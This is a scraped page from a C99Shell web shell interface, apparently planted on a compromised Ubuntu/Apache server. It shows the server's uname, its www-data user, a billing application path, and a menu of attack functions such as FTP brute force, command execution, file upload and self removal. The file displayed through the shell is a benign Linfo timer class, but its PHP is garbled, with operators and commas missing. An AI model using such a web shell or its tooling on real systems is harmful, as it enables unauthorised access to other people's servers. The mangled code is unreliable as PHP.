!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/billing/sysinfo/lib/   drwxr-xr-x
Free 13.26 GB of 57.97 GB (22.87%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     class.LinfoTimer.php (2.57 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * This file is part of Linfo (c) 2010 Joseph Gillotti.
 * 
 * Linfo is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 * 
 * Linfo is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 * 
 * You should have received a copy of the GNU General Public License
 * along with Linfo.  If not, see <http://www.gnu.org/licenses/>.
*/

/**
 * Keep out hackers...
 */
defined('IN_INFO') or exit;

/**
 * Used to time how long it takes to fetch each bit of information. 
 */
class LinfoTimer {
    
    
/**
     * Store singleton instance here 
     * 
     * @var object
     * @static
     * @access protected
     */
    
protected static $_fledging;

    
/**
     * Fledging. Get singleton instance
     * 
     * @param array $settings linfo settings
     * @access public
     * @return object LinfoError instance
     */
    
public static function Fledging($settings null) {
        
$c __CLASS__;
        if (!isset(
self::$_fledging))
            
self::$_fledging = new $c($settings);
        return 
self::$_fledging;
    }

    
/**
     * Store the timer results here
     * 
     * @var array
     * @access protected
     */
    
protected $_results = array();  
    
    
/**
     * Save a timed result. 
     * 
     * @param string $id timer name
     * @param float $duration amount taken
     * @access public
     * @return void
     */
    
public function save($id$duration) {
        
$this->_results[] = array($id$duration);
    }
    
    
/**
     * Return the results
     * 
     * @access public
     * @return array the results
     */
    
public function getResults() {
        return 
$this->_results;
    }
}

/**
 * Started/created at the beginning of a function declaration.
 * Is only useful since __destruct() is called when that function ends,
 * which in turn calls LinfoTimer and saves result
 */
class LinfoTimerStart {

    
// Store stuff here
    
protected
        
$_id,
        
$_start;
    
    
/**
     * Initiate timer and set the name
     * 
     * @param string $id name of caller
     * @access public
     */
    
public function __construct($id) {
        
$this->_id $id;
        
$this->_start microtime(true);
    }
    
    
/**
     * Runs when it ends. As in, each bit of linfo's info fetching is done
     * in its own function. And when that function ends, any inner created
     * classes dies, thus calling the following destructor
     */
    
public function __destruct() {
        
LinfoTimer::Fledging()->save($this->_idmicrotime(true) - $this->_start);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0251 ]--